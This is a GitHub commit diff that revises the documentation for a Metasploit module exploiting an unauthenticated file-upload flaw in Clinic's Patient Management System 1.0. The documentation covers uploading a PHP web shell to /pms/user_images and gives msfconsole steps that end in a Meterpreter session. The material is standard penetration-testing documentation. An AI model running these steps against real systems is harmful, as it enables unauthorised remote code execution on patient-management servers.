Skip to content

Commit d196591

Browse files
committed
Modified documentation
1 parent 06528ab commit d196591

File tree

1 file changed

+24
-19
lines changed

1 file changed

+24
-19
lines changed

documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md

Lines changed: 24 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
1-
## Description
2-
The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability. This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely. The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of a directory listing feature in `/pms/user_images`. This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
1+
## Vulnerable Application
2+
The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
3+
This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
4+
The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
5+
a directory listing feature in `/pms/user_images`.
6+
This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
37

48
## Verification Steps
59

@@ -21,43 +25,48 @@ The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to unauthenticat
2125
- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
2226
- [ ] Extract the downloaded source code zip file into "/var/www/html" directory
2327
- [ ] Next steps are similar to the ones for Windows, so follow that
24-
28+
2529
2. Start `msfconsole` and load the exploit module:
26-
```bash
30+
```bash
2731
msfconsole
2832
use exploit/multi/http/clinic_pms_fileupload_rce
29-
```
33+
```
3034

3135
3. Set the required options:
32-
```bash
36+
```bash
3337
set rport <port>
3438
set rhost <ip>
3539
set targeturi /pms
36-
```
40+
```
3741

3842
4. Check if the target is vulnerable:
39-
```bash
43+
```bash
4044
check
41-
```
45+
```
4246

4347
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
44-
```
48+
```
4549
[+] <IP> The target is vulnerable.
46-
```
50+
```
4751

4852
5. Set up the listener for the exploit:
49-
```bash
53+
```bash
5054
set lport <port>
5155
set lhost <ip>
52-
```
56+
```
5357

5458
6. Launch the exploit:
55-
```bash
59+
```bash
5660
exploit
57-
```
61+
```
5862

5963
7. If successful, you will receive a PHP Meterpreter shell.
6064

65+
## Options
66+
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
67+
- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).
68+
69+
6170
## Scenarios
6271

6372
### Clinic's Patient Management System on a Linux Target
@@ -105,7 +114,3 @@ OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
105114
Meterpreter : php/windows
106115
meterpreter >
107116
```
108-
109-
## Options
110-
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
111-
- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).

0 commit comments

Comments
 (0)